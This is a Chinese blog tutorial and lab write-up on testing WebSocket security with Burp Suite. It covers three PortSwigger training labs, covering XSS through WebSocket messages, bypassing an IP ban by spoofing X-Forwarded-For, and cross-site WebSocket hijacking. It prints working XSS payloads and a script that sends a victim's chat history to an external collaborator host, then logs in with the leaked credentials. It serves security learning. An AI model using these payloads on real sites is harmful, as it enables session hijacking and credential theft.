【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验（全） ...

  

 
前言：

   

介绍： 

  

博主：网络安全范畴狂热爱好者（承诺在CSDN永久无偿分享文章）。
  

殊荣：CSDN网络安全范畴优质创作者，2022年双十一业务安全保卫战-某厂第一名，某厂特邀数字业务安全研究员，edusrc高白帽，vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书，华为云、阿里云、51CTO优质博主等。
  

擅长：对于技术、工具、漏洞原理、黑产打击的研究。
  

C站缘：C站的先辈，引领我度过了一个又一个技术的瓶颈期、迷茫期。
  

---

  

导读：

  

面向读者：对于网络安全方面的学者。 
  

本文知识点（读者自测）： 
  （1）测试WebSockets安全漏洞（√）
  （2）操纵WebSocket流量（√）
  （3）跨站点WebSocket劫持（√）
  

---

目录
一、测试WebSockets安全漏洞
1、网络套接字
2、HTTP和WebSockets区别
3、创建WebSocket连接
4、WebSocket消息表面
二、操纵WebSocket流量
1、简述：
2、拦截和修改WebSocket消息
3、重放和生成新的WebSocket消息
4、操作WebSocket连接
5、WebSockets安全漏洞
6、操纵WebSocket消息以使用漏洞
        实验1：操纵WebSocket消息以使用漏洞
7、操纵WebSocket握手以使用漏洞
        实验2：操纵WebSocket握手以使用漏洞
三、跨站点WebSocket劫持
1、简述：
2、影响
3、实验跨站点WebSocket劫持攻击
        实验3：跨站点WebSocket劫持

---

一、测试WebSockets安全漏洞

   1、网络套接字

  1、WebSockets：通过HTTP发起的双向全双工通信协议。它们通常在现代Web应用步伐中用于流数据和其他异步流量
  
   2、HTTP和WebSockets区别

  1、HTTP：Web浏览器和网站之间的大多数通信都使用HTTP。使用HTTP时，客户端发送哀求，服务器返回响应。通常，响应会立即发生，并且事件完成。即使网络连接保持打开，这也将用于哀求和响应的单独事件
  

---

  2、WebSockets：一些现代网站使用WebSockets。WebSocket连接是通过HTTP发起的，通常是长期的。消息可以在任何时间以任一方向发送，本质上不是事件性的。在客户端或服务器准备好发送消息之前，连接通常会保持打开和空闲状态
  

---

  3、优势：WebSockets在需要低延迟或服务器启动的消息的环境下特别有用，比方财政数据的实时馈送。 
  
   3、创建WebSocket连接

  1、WebSocket连接通常使用客户端JavaScript创建，

1. 示例：
2. var ws = new WebSocket("wss://normal-website.com/chat");

复制代码

---

  2、为了创建连接，浏览器和服务器通过HTTP实验WebSocket握手。

1. 1、浏览器发出如下WebSocket握手请求：
2. GET /chat HTTP/1.1
3. Host: normal-website.com
4. Sec-WebSocket-Version: 13
5. Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
6. Connection: keep-alive, Upgrade
7. Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
8. Upgrade: websocket
10. 2、如果服务器接受连接，它将返回WebSocket握手响应，如下所示：
11. HTTP/1.1 101 Switching Protocols
12. Connection: Upgrade
13. Upgrade: websocket
14. Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

复制代码

此时，网络连接保持打开状态，可用于向任一方向发送WebSocket消息。 
  

---

  3、WebSocket握手消息的几个特性：

1.     1、请求和响应中的Connection和Upgrade标头指示这是WebSocket握手。
2.     2、Sec-WebSocket -Version请求头指定客户端希望使用的WebSocket协议版本。这通常是13。
3.     3、Sec-WebSocket -Key请求标头包含Base64编码的随机值，该值应在每个握手请求中随机生成。
4.     4、该 Sec-WebSocket-接受 响应标头包含在 Sec-WebSocket-密钥请求报头，与协议规范中定义的特定字符串连接。这样做是为了防止错误配置的服务器或缓存代理导致误导性响应

复制代码

  
   4、WebSocket消息表面

  1、一旦创建了WebSocket连接，客户端或服务器就可以在任意方向上异步发送消息。
  

---

  2、可以使用客户端JavaScript从浏览器发送一条简朴的消息

1. 示例：
2. ws.send("Peter Wiener");

复制代码

---

  3、原则上，WebSocket消息可以包罗任何内容或数据格式。在现代应用步伐中，JSON通常用于在WebSocket消息中发送结构化数据。

1. 例如，使用WebSockets的聊天机器人应用程序可能会发送如下消息：
2. {"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"}

复制代码

---

---

二、操纵WebSocket流量

   1、简述：

  1、查找WebSockets安全漏洞通常涉及以应用步伐不期望的方式操作它们。可以使用Burp Suite完成此操作
  

---

  2、可以使用Burp Suite：拦截和修改WebSocket消息、重放并生成新的WebSocket消息、操作WebSocket连接。
  

   2、拦截和修改WebSocket消息

  根本操作：
  1、可以使用Burp署理拦截和修改WebSocket消息

1. 示例：
2.     1、打开Burp的浏览器
3.     2、浏览到使用WebSockets的应用程序函数。您可以通过使用应用程序并查找Burp Proxy内WebSockets历史记录选项卡中显示的条目来确定WebSockets是否正在使用。
4.     3、在Burp Proxy的Intercept选项卡中，确保拦截功能已打开。
5.     4、当WebSocket消息从浏览器或服务器发送时，它将显示在“拦截”选项卡中，供您查看或修改。按“转发”按钮转发消息。

复制代码

可以配置是否在Burp Proxy中拦截客户端到服务器或服务器到客户端消息。在"选项"选项卡中实验此操作，该选项卡位于 拦截WebSocket消息选项。
  

   3、重放和生成新的WebSocket消息

  根本操作：
  1、除了动态拦截和修改WebSocket消息之外，还可以重放单个消息并生成新消息。可以使用打BP repeater来完成此操作
  

---

  2、如果想编辑和重新发送历史记录面板中的任何邮件，您可以通过选择该邮件并从上下文菜单中选择“编辑和重新发送”来完成此操作。
  

   4、操作WebSocket连接

  基础操作
  1、除了操纵WebSocket消息之外，有时还需要操纵创建连接的WebSocket握手。

1. 在各种情况下，可能需要操作WebSocket握手：
2. 1、它可以使你到达更多的攻击面。
3. 2、某些攻击可能会导致您的连接断开，因此您需要建立一个新的连接。
4. 3、原始握手请求中的令牌或其他数据可能已过时，需要更新。

复制代码

2、可以使用Burp Repeater操作WebSocket握手：

1.     1、将WebSocket消息发送到BP repeater
2.     2、在Burp Repeater中，单击WebSocket URL旁边的铅笔图标。这将打开一个向导，允许您附加到现有的已连接WebSocket、克隆已连接WebSocket或重新连接到已断开连接的WebSocket。
3.     3、如果选择克隆已连接的WebSocket或重新连接到已断开连接的WebSocket，则向导将显示WebSocket握手请求的完整详细信息，可以在执行握手之前根据需要编辑这些详细信息。
4.     4、当您点击“连接”时，Burp将尝试执行配置的握手并显示结果。如果成功建立了新的WebSocket连接，则可以使用此连接在Burp Repeater中发送新消息。

复制代码

   5、WebSockets安全漏洞

  1、原则上，险些所有Web安全漏洞都可能与WebSockets相关：

1.     1、传输到服务器的用户提供的输入可能会以不安全的方式进行处理，从而导致SQL注入或XML外部实体注入等漏洞。
2.     2、某些通过WebSockets攻击的隐蔽漏洞可能只能使用带外（OAST）技术检测。
3.     3、如果攻击者控制的数据通过WebSockets传输给其他应用程序用户，则可能导致XSS或其他客户端漏洞。

复制代码

   6、操纵WebSocket消息以使用漏洞

  1、大多数影响WebSocket的基于输入的漏洞都可以通过窜改WebSocket消息的内容来发现和使用。

1. 示例：
2. 1、假设聊天应用程序使用WebSockets在浏览器和服务器之间发送聊天消息。当用户键入聊天消息时，将向服务器发送如下所示的WebSocket消息：
3. {"message":"Hello Carlos"}
5. 2、消息的内容被传输（再次通过WebSockets）给另一个聊天用户，并在用户的浏览器中呈现如下：
6. <td>Hello Carlos</td>
8. 3、在这种情况下，如果没有其他输入处理或防御措施，攻击者可以通过提交以下WebSocket消息来执行概念验证XSS攻击：
9. {"message":"<img src=1 onerror='alert(1)'>"}

复制代码

---

  2、涉及实验：
  实验1：操纵WebSocket消息以使用漏洞
  
  

   实验1：操纵WebSocket消息以使用漏洞

  信息：
  1、网上商店有一个使用WebSockets实现的实时谈天功能
  2、提交的谈天消息将由支持署理真实的查看。
  3、解决实验：使用WebSocket消息在支持署理的浏览器中触发alert()弹出窗口
  

---

  part1：
  单击“实时谈天”并发送谈天消息，在Burp Proxy中，转到WebSockets历史记录选项卡，观察谈天消息是否已通过WebSocket消息发送
  

  
  
  使用浏览器发送包罗"<"字符的新邮件；在Burp Proxy中，找到相应的WebSocket消息，并观察到"<"在发送之前已经由客户端举行了HTML编码
  

  

---

  part2： 
  插入payload
  编辑拦截的消息以包罗以下有用负载：

1. <img src=1 onerror='alert(1)'>

复制代码

我先输入的1，然后抓包修改为payload
  

  
  
  观察浏览器中触发了alter函数，完成实验
  

  
  

   7、操纵WebSocket握手以使用漏洞

  1、某些WebSockets漏洞只能由 操纵WebSocket握手。这些漏洞往往涉及计划缺陷

1. 示例：
2. 1、错误地信任HTTP标头（如X-Forwarded-For标头）来执行安全决策。
3. 2、会话处理机制中的缺陷，因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
4. 3、由应用程序使用的自定义HTTP标头引入的攻击面。

复制代码

---

  2、涉及实验：
  实验2：操纵WebSocket握手以使用漏洞
  

   实验2：操纵WebSocket握手以使用漏洞

  信息：
  1、网上商店有一个使用WebSockets实现的实时谈天功能
  2、它有一个激进但有缺陷的XSS过滤器。
  3、解决实验：使用WebSocket消息在支持署理的浏览器中触发alert()弹出窗口
  

---

  part1：
  单击"实时谈天"并发送谈天消息。在Burp Proxy中，转到WebSockets历史记录选项卡，观察谈天消息是否已通过WebSocket消息发送。
  

  
  右键单击邮件并选择"发送到中继器"（老版的如果不能发送到repeater，就直接拦截一次改一次）
  

---

  part2：
  编辑并重新发送包罗根本XSS有用负载的消息

1. <img src=1 onerror='alert(1)'>

复制代码

留意到攻击已被制止，并且WebSocket连接已停止
  

单击“重新连接”，并观察到连接尝试失败，因为您的IP地点已被禁止
  

  
  

---

  part2：
  将以下标头添加到握手哀求以诱骗您的IP地点：

1. X-Forwarded-For: 1.1.1.1

复制代码

（老版的bp实在不能继承用下去了，换版本）
  

  单击“连接”乐成重新连接WebSocket
   

  
  

---

  part3：
  发送包罗含糊XSS有用负载的WebSocket消息，比方：

1. <img src=1 oNeRrOr=alert`1`>

复制代码

应该是被前端过滤器拦截编码了，在BP中修改重发，就解决了
  

   

   完成实验
  

  
  

---

---

三、跨站点WebSocket劫持

   1、简述：

  1、跨站点WebSocket劫持（也称为跨源WebSocket劫持）涉及 跨站点哀求伪造 （CSRF）上的漏洞 WebSocket握手。当WebSocket握手哀求仅依赖HTTP cookie举行会话处理惩罚，并且不包罗任何CSRF令牌或其他不可预测的值时，就会出现这种环境。
  

---

  2、攻击者可以在自己的域中创建恶意网页，从而创建到易受攻击的应用步伐的跨站点WebSocket连接。应用步伐将在受害用户与应用步伐的会话的上下文中处理惩罚连接；
  然后，攻击者的页面可以通过连接向服务器发送任意消息，并读取从服务器吸收回的消息内容。这意味着，与常规CSRF差别，攻击者得到了与受损应用步伐的双向交互。 
  

   2、影响

  1、乐成的跨站点WebSocket劫持攻击通常可让攻击者：

1.     1、伪装成受害用户执行未经授权的操作。与常规CSRF一样，攻击者可以向服务器端应用程序发送任意消息。如果应用程序使用客户端生成的WebSocket消息执行任何敏感操作，则攻击者可以跨域生成适当的消息并触发这些操作。
2.     2、检索用户可以访问的敏感数据。与常规CSRF不同，跨站点WebSocket劫持使攻击者能够通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。如果应用程序使用服务器生成的WebSocket消息向用户返回任何敏感数据，则攻击者可以拦截这些消息并捕获受害用户的数据。

复制代码

   3、实验跨站点WebSocket劫持攻击

  1、由于跨站点WebSocket劫持攻击本质上是WebSocket握手上的CSRF漏洞，因此实验攻击的第一步是查抄应用步伐实验的WebSocket握手，并确定它们是否受到CSRF保护。
  

---

  2、就 CSRF攻击的正常环境而言，通常需要找到一个握手消息，该消息仅依赖于HTTP cookie举行会话处理惩罚，并且在哀求参数中不使用任何令牌或其他不可预测的值。

1. 示例：
2. 以下WebSocket握手请求可能易受CSRF攻击，因为唯一的会话令牌是在Cookie中传输的：
3. GET /chat HTTP/1.1
4. Host: normal-website.com
5. Sec-WebSocket-Version: 13
6. Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
7. Connection: keep-alive, Upgrade
8. Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
9. Upgrade: websocket
11. 注：
12. Sec-WebSocket-Key标头包含一个随机值，以防止缓存代理出错，并且不用于身份验证或会话处理目的

复制代码

 
  

---

  3、如果WebSocket握手哀求易受CSRF攻击，则攻击者的网页可以实验跨站点哀求以打开易受攻击站点上的WebSocket。攻击中接下来会发生什么完全取决于应用步伐的逻辑及其使用 网络套接字。

1. 攻击可能涉及：
2. 1、发送WebSocket消息以代表受害用户执行未经授权的操作。
3. 2、发送WebSocket消息以检索敏感数据。
4. 3、有时候，只是等待包含敏感数据的传入消息到达

复制代码

---

  4、涉及实验：
  实验3：跨站点WebSocket劫持
  
  

   实验3：跨站点WebSocket劫持

  信息：
  1、网上商店有一个使用WebSockets实现的实时谈天功能
  2、解决实验：使用漏洞攻击服务器托管HTML/JavaScript有用负载，该有用负载使用跨站点WebSocket劫持攻击来泄漏受害者的谈天历史记录，然后使用此有用负载访问受害者的帐户
  

---

  part1：
  单击"实时谈天"并发送谈天消息，重新加载页面
在Burp署理的WebSockets历史选项卡中，观察"READY"下令从服务器检索已往的谈天消息
  

在Burp署理的HTTP历史记录选项卡中，找到WebSocket握手哀求。观察哀求是否没有CSRF令牌
   右键单击握手哀求并选择"复制URL"
  

  
  
  

---

  part2：
  在浏览器中，转到使用漏洞攻击服务器并将以下模板粘贴到"Body"部分：

1. <script>
2.     var ws = new WebSocket('wss://your-websocket-url');
3.     ws.onopen = function() {
4.         ws.send("READY");
5.     };
6.     ws.onmessage = function(event) {
7.         fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
8.     };
9. </script>
11. 我的是：
12. <script>
13.     var ws = new WebSocket('wss://0a390011034ce37ac4128868009b005e.web-security-academy.net/chat');
14.     ws.onopen = function() {
15.         ws.send("READY");
16.     };
17.     ws.onmessage = function(event) {
18.         fetch('https://bhwr3j502kct2ljwwrtofzi68xeo2d.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
19.     };
20. </script>

复制代码

将自己的网络套接字url替换为网络套接字握手中的URL（实验室ID）。确保将协议从https://更改为wss://。用Burp Collaborator客户端生成的有用负载替换your-collaborator-url
  

1. bhwr3j502kct2ljwwrtofzi68xeo2d.oastify.com

复制代码

  
  
  
  单击“查看漏洞使用”（view）
  

  
   在Collaborator选项卡中轮询交互。验证攻击是否已乐成检索您的谈天历史记录并通过Burp Collaborator将其泄漏
  对于谈天中的每一条消息，Burp Collaborator都吸收到一个HTTP哀求。哀求正文包罗JSON格式的谈天消息的全部内容（这些消息的吸收顺序可能不精确）
  

   查抄这些消息，此中一条消息包罗受害者的用户名和密码

1. carlos
2. i0h9n4jqwxg3qeqxbfzy

复制代码

  

---

  part3：
  使用溢出的凭据登录受攻击用户的帐户
  完成实验
  

  
  

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。